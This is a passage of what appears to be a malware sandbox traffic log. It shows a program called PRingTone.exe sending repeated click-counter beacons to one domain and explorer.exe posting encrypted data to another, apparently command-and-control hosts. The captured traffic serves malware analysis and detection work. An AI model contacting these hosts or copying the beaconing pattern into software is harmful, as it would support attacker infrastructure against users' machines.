Dec 19, 2023 03:24:17.487572908 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:24:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49841	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:17.231992006 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:17.510221958 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49843	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:17.916644096 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:18.197590113 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49844	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:18.602334023 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:18.876174927 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49845	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:19.277481079 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:19.562077045 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49846	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:19.948170900 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:20.227937937 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49847	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:20.639238119 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:20.913309097 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49848	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:21.323982954 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:21.606240988 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49849	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:22.001641989 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:22.278950930 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49850	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:22.684189081 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:22.958054066 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49851	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:23.329931021 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:23.608058929 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49852	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:24.030251980 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:24.311480045 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49853	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:24.418801069 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sgmtsctuvagfrk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:24:24.418860912 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:24:24.710346937 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:24:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49854	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:24.718153000 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:24.991400003 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49856	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:25.420370102 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:25.699696064 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49858	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:26.976851940 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:27.268357038 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49859	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:28.120276928 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:28.398881912 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49862	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:28.780621052 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:29.054332972 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49863	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:29.545526981 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:29.822840929 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49864	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:30.222848892 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:30.503431082 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49865	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:30.908876896 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:31.185169935 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49866	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:31.589709044 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:31.863437891 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49867	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:32.252788067 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:32.534641981 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49868	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:32.943288088 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:33.224483013 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49869	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:33.655071974 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:33.928921938 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49870	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:34.342051983 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:34.623085022 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49871	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:35.103041887 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:35.382347107 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49872	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:35.778076887 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:36.051479101 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
